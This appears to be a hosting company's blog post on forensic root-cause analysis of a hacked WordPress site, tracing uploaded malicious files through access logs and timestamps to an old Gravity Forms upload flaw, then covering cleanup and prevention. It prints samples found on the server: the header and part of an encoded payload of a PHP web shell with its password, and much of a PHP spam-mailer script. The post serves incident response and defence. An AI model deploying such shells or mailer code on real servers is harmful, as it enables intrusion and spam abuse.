Root Cause Analysis of a Hacked WordPress Website

root cause analysis of a hacked wordpress website

As a follow-up to my recent presentation at WordCamp Sunshine Coast entitled “Post-Mortem of a Hacked Website“, the following Monday we of course had yet another hacked site. While most hosting companies don’t get involved with the cleanup, we prefer to find the root cause in order to ensure the issue is completely removed. If not, it generally results in another compromise only weeks later and therefore more time and risk to other clients. 

Over the last few years, we’ve continually enhanced our own internal tools to detect these malicious files, despite the best attempts by hackers to obfuscate the code. What we’ll be going through in this article is how to find the root cause of the hack, then briefly touch on the elements on what to do afterwards and how to prevent it (hint: it’s really easy!). But, before we get started…. here’s the all you need to remember:

1. Update your site regularly

2. Backup your site regularly

If you follow those two rules, then you won’t need to worry about anything else in here. 

It’s also worth noting that WordPress itself isn’t a big security risk as many will tout, it’s no different to any other software platform. You simply need to keep it up-to-date and limit the amount of third party pieces you install.

Step 1: Don’t Take it Personally

If you’ve been hacked and you’re wondering why you were targeted, it it’s not directed at you. Hackers just want to find an easy site to compromise for their own malicious use, 99% of the time they’re not interested in what your site is about nor where you are. In fact, the chances are there isn’t even a human at the other end calling the exploits, they’re simply using a script to find sites to compromise. All the hacker really cares about is the total number of sites he (or she) has exploited, not who.

Treat it as a learning experience, the reason you were hacked is because you were an easy target. Make sure you don’t give them this opportunity again.

Step 2: Don’t Touch Anything

Treat your hacked website as a digital crime scene. All of the information such as the Apache / Nginx access logs, file timestamps and similar are critical to determining how they got in.

If you don’t know where the malicious files are on your site, the first step is to find what file they’ve been calling. This won’t be the root cause of the exploit, but the result.

Step 3: Find the exploit

Let’s quickly parse our access log files for how many POST calls there have been. Many exploits use a POST call because this data isn’t logged, and therefore harder to detect. We use grep to do this, which is a very fast, standard Unix tool for parsing plan text. We’re then going to pipe the command through the word count command with a -l to make it count total lines instead of words:

grep POST access_log | wc -l

Result: 64,671 lines.

At 64,000 lines, we can’t easily run our eyes over the lines to determine anomalies. The majority of the POST calls are probably going to be legitimate, so what we can do is eliminate these from our list. Some of these calls are going to be user logins (or even failed attempts), updates and post/page edits. To do that, we use an inverse match (-v) with grep and pipe that through a number of times:

grep POST access_log | grep -v xmlrpc.php | grep -v /contact/ | grep -v wp-login.php | grep -v wp-cron.php | grep -v /wp-admin/admin-ajax.php | grep -v /wp-admin/upgrade.php  | grep -v /wp-admin/update-core.php | grep -v /wp-admin/nav-menus.php | wc -l

This has dropped our total results down to 606. This is nearly close enough to be able to read through and see what’s being called, but we can easily go one step further to filter the results again. As hackers will attempt to call scripts or files which may not exist (eg which result in a 404), we can filter our list further to only look at calls which were successful (HTTP status 200). Let’s run our quick search again:

grep POST access_log | grep -v xmlrpc.php | grep -v /contact/ | grep -v wp-login.php | grep -v wp-cron.php | grep -v /wp-admin/admin-ajax.php | grep -v /wp-admin/upgrade.php  | grep -v /wp-admin/update-core.php | grep -v /wp-admin/nav-menus.php |  grep "HTTP/1.." 200" | wc -l 

This final grep we want to only include results which returned a 200 status. We’re now to 12 lines. While not every exploit will be using POST data, the overwhelming majority that we come across certainly do. With one command we’ve reduced the number of lines to investigate from 64,671 down to 12, which is significantly easier to deal with. Let’s now have a look at those 12 lines:

xxx.xxx.xxx.xxx - - [07/May/2016:19:09:16 +1000] "POST / HTTP/1.1" 200 51033 "https://www.demosite.com/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/601.5.17 (KHTML, like Gecko) Version/9.1 Safari/601.5.17"
xxx.xxx.xxx.xxx - - [08/May/2016:17:26:45 +1000] "POST /?page_id=489&vc_editable=true&vc_post_id=489 HTTP/1.1" 200 10636 "https://www.demosite.com/wp-admin/post.php?vc_action=vc_inline&post_id=489&post_type=page" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/601.5.17 (KHTML, like Gecko) Version/9.1 Safari/601.5.17"
xxx.xxx.xxx.xxx - - [08/May/2016:17:37:49 +1000] "POST / HTTP/1.1" 200 51037 "https://www.demosite.com/wp-admin/customize.php?theme=twentytwelve&return=%2Fwp-admin%2Fthemes.php" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/601.5.17 (KHTML, like Gecko) Version/9.1 Safari/601.5.17"
xxx.xxx.xxx.xxx - - [08/May/2016:17:44:59 +1000] "POST / HTTP/1.1" 200 95121 "https://www.demosite.com/wp-admin/customize.php?url=http%3A%2F%2Fwww.demosite.com%2F" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/601.5.17 (KHTML, like Gecko) Version/9.1 Safari/601.5.17"
xxx.xxx.xxx.xxx - - [08/May/2016:17:45:43 +1000] "POST / HTTP/1.1" 200 97871 "https://www.demosite.com/wp-admin/customize.php?autofocus%5Bpanel%5D=nav_menus&return=%2Fwp-admin%2Fnav-menus.php" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/601.5.17 (KHTML, like Gecko) Version/9.1 Safari/601.5.17"
xxx.xxx.xxx.xxx - - [08/May/2016:17:45:53 +1000] "POST / HTTP/1.1" 200 102716 "https://www.demosite.com/wp-admin/customize.php?autofocus%5Bpanel%5D=nav_menus&return=%2Fwp-admin%2Fnav-menus.php" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/601.5.17 (KHTML, like Gecko) Version/9.1 Safari/601.5.17"
xxx.xxx.xxx.xxx - - [08/May/2016:17:46:07 +1000] "POST / HTTP/1.1" 200 102745 "https://www.demosite.com/wp-admin/customize.php?autofocus%5Bpanel%5D=nav_menus&return=%2Fwp-admin%2Fnav-menus.php" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/601.5.17 (KHTML, like Gecko) Version/9.1 Safari/601.5.17"
xxx.xxx.xxx.xxx - - [08/May/2016:17:46:31 +1000] "POST / HTTP/1.1" 200 102745 "https://www.demosite.com/wp-admin/customize.php?autofocus%5Bpanel%5D=nav_menus&return=%2Fwp-admin%2Fnav-menus.php" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/601.5.17 (KHTML, like Gecko) Version/9.1 Safari/601.5.17"
xxx.xxx.xxx.xxx - - [08/May/2016:17:46:39 +1000] "POST / HTTP/1.1" 200 102745 "https://www.demosite.com/wp-admin/customize.php?autofocus%5Bpanel%5D=nav_menus&return=%2Fwp-admin%2Fnav-menus.php" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/601.5.17 (KHTML, like Gecko) Version/9.1 Safari/601.5.17"
xxx.xxx.xxx.xxx - - [08/May/2016:17:46:48 +1000] "POST / HTTP/1.1" 200 5134 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/601.5.17 (KHTML, like Gecko) Version/9.1 Safari/601.5.17"
xxx.xxx.xxx.xxx - - [09/May/2016:03:50:45 +1000] "POST /wp-admin/jundab.php?dir=/var/www/vhosts/demosite.com/httpdocs/wp-admin/js/ HTTP/1.1" 200 114873 "https://demosite.com/wp-admin/jundab.php?dir=/var/www/vhosts/demosite.com/httpdocs/wp-admin/js/" "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.112 Safari/537.36"
xxx.xxx.xxx.xxx - - [09/May/2016:03:56:17 +1000] "POST /wp-admin/js/unix.php HTTP/1.1" 200 6420 "https://www.demosite.com/wp-admin/js/unix.php" "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.112 Safari/537.36"

I’ve sanitised the real name of the site and the originating IP’s, but otherwise the logs are 100% real. I could filter out some of the calls further which are legitimate (eg customize.php), but immediately two of the results stand out as odd:

 xxx.xxx.xxx.xxx - - [09/May/2016:03:50:45 +1000] "POST /wp-admin/jundab.php?dir=/var/www/vhosts/demosite.com/httpdocs/wp-admin/js/ HTTP/1.1" 200 114873 "https://demosite.com/wp-admin/jundab.php?dir=/var/www/vhosts/demosite.com/httpdocs/wp-admin/js/" "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.112 Safari/537.36"
xxx.xxx.xxx.xxx - - [09/May/2016:03:56:17 +1000] "POST /wp-admin/js/unix.php HTTP/1.1" 200 6420 "https://www.demosite.com/wp-admin/js/unix.php" "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.112 Safari/537.36"

A file named “jundab.php” and “unix.php” in a Javascript directory certainly isn’t typical for WordPress. Let’s have a quick preview of the first jundab.php file:

<?php
//
// devilzShell <[php]>
// ^^^^^^^^^^^^
// author: b374k
// greets: devilzc0der(s) and all of you who love peace and freedom
//
//
// ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
// Jayalah Indonesiaku


$shell_name = "Jundab Shell";
$shell_fake_name = "Server Logging System";
$shell_title = " :: ".$shell_name." ::";
$shell_version = "v1";
$shell_password = "justy";
$shell_fav_port = "12345";
$shell_color = "#374374";
$shell_code = "eNrsvQmzo0iSIPxXmJzaraxVdYIQkqCqa6a5QQLEIUAwM1bGDeKSOIVq579vIL338mV2VnXvzKzt95mtylpPRLh7ePjtQUL/+Z8v6QX67mbUcTd6TQT9AnVNVn5Moi6qho8fDFa3WP1X48AdbVJnP/zww88z9NR2UfkKCyj82ldeGX18mY2aIWpEFcx/9+uTwL+8EiIZRv/wbzMUXWRR1X0J9b3Oyocj+4D6/gElRF4YNTPMG4ufPvzZbyD4nz58emXkdeS5MCSqP0F/bi9eBQWF17a//OuHxOuLf/3wT/8C/Rmex5+oL1wC5G/BQv/2AvvfK7+9/Pz+26n7v3eR103+rUU+gL1mQV2BjX7ILOqgj8ieT2oSfBTDTFkzAb+o+ZLUaNKZ/8Y4TKTzKJwXrGbpGFqjuoEmpqbT/HXbCBTSjBBWZiNnW6VqlKJw8TRj1BgsG/i90IqleJiodMceTease7LIno85liic2HfUaAQOHlEp4VHJRPN0tu8xiMXyO5UjfVZmIro82WPiy3VzuFz6st/312bT4LpbVudbgWc6IqDMPd4fkZXQWlJqLQ5DhDUBfsux3uluUEgLCa8JAWyEZH8dXYo40yS71atR4nU8Ffxsv4Y97U4HNMKp8KJHHR7bqzd0cVlixt46+pyYqaG4haMMqiUCH9OS7HB/WB22Dk604oAS+f1wMQZW0bFlYTDLXYpQmhTxMX6+rjyi8qaoO6F7K42jzsP5Eqn6MREgZMGJR+OW3NWkK1da2q6v+iJP4usoOnxi9ccy3yCseoUv2IhSiJTz60WxFddmuKLMtqaoIkB61jp4uW1Cw02W9sqVxC0sQBrXnlykuPsiKhPN8aLEe2ahZ6S1kE9ElNEtsZgsNAqk3AvUxDOHQLkFfW8LNqEmDQrdtF3E94TZbp3qfJE9rmVRjj+keKgs0QIjjPPZ5Gssd0Z2jd1W0dVexadid2680ZAHSVVwv/E7CsHT6QIlnjN6YsIdd2cWKdbFaoxJSw9FBbtqR/wIh2m39jv/SlwsHS52HGsCPlKOiCvbvN984ob3RDoG1tY9HyBm2Qgn/UaUajLUyi2/nsvjuK9Ok1xYCdkFtz6gJ3n0TLlakICVOyUo2XBdPUyaLbhjbvRaSdOzI/jJH7oBKc9fzNMNKHsv2fA8sHt1g1LJSVK87L0K9okN7tgkC8kuRkSjV/Jh5aDqRsrEZExIjcRvjuKkUd0pwYMTw7QO+n5NO6L4y8zKjfKCHPrlg4gWvYPeli5vJqqgIC5fDFKZLBitPnv2+uwLVu4aJB6siru0UgYH7YqQXtdqguy/wOXXBRTyRe+etMGzsd5jMIUuiz6kqc6xi37PP36nQRmeJZo6ezw3ifRlvkbtJXJhtMsWLJqARRGRd3PoAEQkAo6CyjoDxLuPKo1j63lQEBc/o+5gka1IAhheT117OfhZcpMY8vKCB2DWAGYduyXXQZ59W4sMkmimGxvmmrOYVqGfRPoAbOO0ooag0hLVoOqQJ/pgSlPw97IHXLor15ct5LI/PnGgNySUy11B7IMlkbq8Ps0LgBWLkHtevyEXyOUwkTNyFpXW5APij23fdyEkzVssb4WffR7cG+1tv/p6nAPj+cuW3XxeLECJs4dayJ7l+BNSHCDd0lqRU1QN6WJzqRu6ySlA2DuTo4zjUldPS50x6Tx54ebiZmS955XBL9eFs9JqtwT4dHoPhd0SAgMvKzy2meyzPNlVs2BHMF5sXJso999SUJYDWY3j3qAeGhVpaoTc027yV2ItFm13Mqizj65711aQPZ1nT8GSichbmHfSapnOH4ix9tDuMmDEJ2cv2oW+HGSfKv9iTHwZszCwSLunxcEBtggMuBazMQvQJJPo9GGDkEjXl3nFp2CV1l8pxR4IGHCVAKMknt6SVeHsu3+/u+gTuK5+35X0NRTw1v0/6mtfuxpEZ0AzpdKGtl6IzK0Iql3vT0/kp08tUwBcO6dd5Uy3h03ttdc5YKioDIR+eZPJdQYMz0AzVZs8ZfNw4IeaH0KeuUDd/G/46
.....

Clearly, this isn’t a legitimate WordPress file! The unix.php file contains the following:

<?
if ($action=="send"){
  if (!$from && !$subject && !$message && !$emaillist){
    print "Please complete all fields before sending your message.";
    exit;
   }
  $allemails = split("n", $emaillist);
  $numemails = count($allemails);
  $filter = "maillist";
  $float = "From : mailist info <>";
 //Open the file attachment if any, and base64_encode it for email transport
 If ($file_name){
   if (!file_exists($file)){
        die("The file you are trying to upload couldn't be copied to the server");
   }
   $content = fread(fopen($file,"r"),filesize($file));
   $content = chunk_split(base64_encode($content));
   $uid = strtoupper(md5(uniqid(time())));
   $name = basename($file);
  }

 for($xx=0; $xx<$amount; $xx++){
  for($x=0; $x<$numemails; $x++){
    $to = $allemails[$x];
    if ($to){
      $to = ereg_replace(" ", "", $to);
      $message = ereg_replace("&email&", $to, $message);
      $subject = ereg_replace("&email&", $to, $subject);
      print "Sending mail to $to.......";
      flush();
      $header = "From: $realname <$from>rnReply-To: $replytorn";
      $header .= "MIME-Version: 1.0rn";
      If ($file_name) $header .= "Content-Type: multipart/mixed; boundary=$uidrn";
      If ($file_name) $header .= "--$uidrn";
      $header .= "Content-Type: text/$contenttypern";
      $header .= "Content-Transfer-Encoding: 8bitrnrn";
      $header .= "$messagern";
      If ($file_name) $header .= "--$uidrn";
      If ($file_name) $header .= "Content-Type: $file_type; name="$file_name"rn";
      If ($file_name) $header .= "Content-Transfer-Encoding: base64rn";
      If ($file_name) $header .= "Content-Disposition: attachment; filename="$file_name"rnrn";
      If ($file_name) $header .= "$contentrn";
      If ($file_name) $header .= "--$uid--";
      mail($to, $subject, "", $header);
      print "ok<br>";
      flush();
    }
  }
 }
}
....

We can clearly see that it’s being used to send spam email.

Step 4: Find the Root Cause

In Step 3 above we identified the malicious files, but again these aren’t the actual cause. What we can do however is use the timestamps of the files to determine the cause. Lets’s have a look at the jundab.php file:

ls -l jundab.php
-rw-r--r-- 1 user group 26201 May  9 03:43 jundab.php

We can also check the creation time to see if it’s the same, as dates can be manipulated:

ls -lc jundab.php
-rw-r--r-- 1 user group 26201 May  9 03:43 jundab.php

What this gives us is a timestamp of when the file was uploaded to the website (May 9 03:43), which will hopefully direct us to the root cause. Lets parse the access logs again to see what we can find at that time:

grep "[09/May/2016:03:43 access_log

We end up with this:

xxx.xxx.xxx.xxx - - [09/May/2016:03:43:22 +1000] "POST //?gf_page=upload HTTP/1.1" 200 554 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.63 Safari/537.31"
xxx.xxx.xxx.xxx - - [09/May/2016:03:43:25 +1000] "POST //?gf_page=upload HTTP/1.1" 200 553 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.63 Safari/537.31"
xxx.xxx.xxx.xxx - - [09/May/2016:03:43:26 +1000] "POST //?gf_page=upload HTTP/1.1" 200 538 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.103 Safari/537.36"

For those of you who have spotted it, this is a Gravity Forms exploit, which despite being over 12 months old is still being hit. Unfortunately despite the widespread publicity to update, this isn’t getting to business owners and non-technical people who don’t know that they need to keep their website updated.

If you’ve hit this point and you haven’t found any results, you still have a couple of avenues. The first is to check your archived logs. Then, check your FTP logs. Again, the timestamp is key here. If the FTP logs are unsuccessful then the next step is to check your hosting control panel logs. If you’re on shared hosting, you may need to ask your host for assistance here. Less than 2% of all hack attempts that we see are via FTP / control panel based.

However, this means that you have either one of two issues. The first is you had a weak password and they brute forced their way in. The second means that you probably have some form of malware on your machine and a hacked website could simply be the tip of the iceberg. It’s critical at this point that you engage an IT professional for assistance.

Step 5: The Clean-Up

The easiest way to clean up an exploited site is to roll-back your backup to a date before the exploit. Backups are critical. Let’s make that completely and abundantly clear.

Make sure you have regular backups

Again, this point cannot be understated. A backup allows you to roll-back a change or even setup your site on different hosting with minimal fuss. It’s by far the most efficient way to correct problems with your website if it has been infected. If you didn’t have backups and need to manually fix things, be prepared for hours of work and nervous waits afterwards wondering if you got it all.

The Malicious Files

The first thing you need to do is remove all of the malicious files. In our example, this would be the “jundab.php” and “unix.php files. However, these may not be the only files. You’ll need to scour your site with tools such as “find” to determine modification and creation times of all other files to inspect.

I’d also recommend installing a security plugin such as WordFence or Sucuri Scanner, which can detect changes in the WordPress core files as well as detect other malicious files.

Fix The Root Cause

Make sure you update your site immediately

It could be as soon as mere minutes for your site to be infected again, so it’s critical to patch the problem. Don’t just update the plugin or theme which was at fault, update all the plugins and themes. Make sure you set a regular schedule to update this or if you don’t have time, consider a managed WordPress service where the updates are performed on your behalf.

Next, remove (don’t just disable) unused themes and plugins. We’ve covered this one previously, but the files can still be accessed and therefore still present a security risk which we have seen exploited.

Check for Other Changes

Hackers can be quite clever in this regard and leave themselves back-doors to easily gain access to your site. Audit your users and also audit for changes to the passwords and changes to user escalation. If in doubt, reset all of the passwords. You need to be vigilant here, otherwise all of your previous efforts could be wasted.

Next, check the server cron and your scheduled tasks within your control panel (eg cPanel / Plesk) to check for any malicious entries. Again, we’ve seen this in the past where hackers (who had control panel login details) automatically reinfect your site on a scheduled basis. Clever, but very annoying!

RBL Blacklists

Chances are, one of the reasons your site was hacked was in order to send spam emails. If you have your own, dedicated IP or VPS then there’s a strong probability your system has been blacklisted. This means that most mailservers around the world will be blocking all emails from your site / server. Here’s two handy tools to check:

These aren’t comprehensive either, systems like SenderBase, Hotmail and Google don’t allow for automated checks, nor to see if your system has been blacklisted. It’s important to keep an eye on your mailserver logs for delivery failures, which can be very tedious and time consuming.

It’s also worth double checking your email queue (“mailq” on most Linux systems) to determine if there are any spam emails left in the queue.

Step 6: Prevention

If you’ve read through this article in detail then the first two items will stand out.

Regularly update your website

Keep your site up-to-date. This will be the single biggest way of preventing security problems. If you’re worried about updates breaking your site, then look at reducing the number of plugins required. Check your paid plugins and themes. These won’t be automatically updated by the inbuilt WordPress update system if your license has expired.

Regularly backup your website

Regular backups allow you to easily roll-back, especially if you have a failed plugin update, accidentally deleted data or if your site was compromised. There are a number of great WordPress backup plugins that we’ve previously written about. Choose one, use it and ensure you also keep an off-site backup away from your host for redundancy.

Secure Passwords

Go for unique passwords (ie you haven’t used them for any other site) and ones of sufficient length and complexity to prevent brute force attacks. This is also something we’ve previously covered in our article about Secure Passwords. With a password manager, they don’t have to be hard to remember.

Monitor your website

Use systems such as the Google Search Console (previously known as the Webmaster Tools) to monitor your site and alert you if it finds anything malicious. A change in site performance can also be an indication of malicious changes, so ensure you use and monitor performance with systems such as Pingdom and StatusCake.

Check your hosting setup

If you have multiple sites, make sure each site is limited to one user for file permissions. In the event that one site is compromised, you don’t want to be dealing with every site compromised. A good hosting setup has this isolation by default. Also, don’t keep old copies of the site on your production server. As we found and documented in a previous article, tools such as DirBuster can automatically scour your site looking for directories such as “old”, “backup” and on average 20,000 other combinations.

Conclusion

Hopefully this gives a bit of an insight as to how hackers have gained access and most importantly, what to do in order to stop it. This is only a small subset of what we do to find the root cause. We’ve built up a large set of internal scripts and tools for both detection and prevention over the last few years to try to cover as many of the common exploits as possible. Some of these 

Prevention is always better than the cure. Always! If you’re not updating your WordPress website regularly, then the time to start is now. Alternatively, you could also go for a Managed WordPress solution, but ensure you know exactly what they provide. If you’re a WordPress developer, we also strongly suggest that you outline who is and isn’t responsible for the updates (preferably in writing). We come across many clients who assumed their developer was doing it no their behalf, despite not having a maintenance contract.

If you have any comments or suggestions, please feel free to add them below!

Back to the Blog

avatar of tim butler

Tim Butler

With over 20 years experience in IT, I have worked with systems scaling to tens of thousands of simultaneous users. My current role involves providing highly available, high performance web and infrastructure solutions for small businesses through to government departments. NGINX Cookbook author.

  • Conetix
  • Conetix

Let's Get Started

  • This field is for validation purposes and should be left unchanged.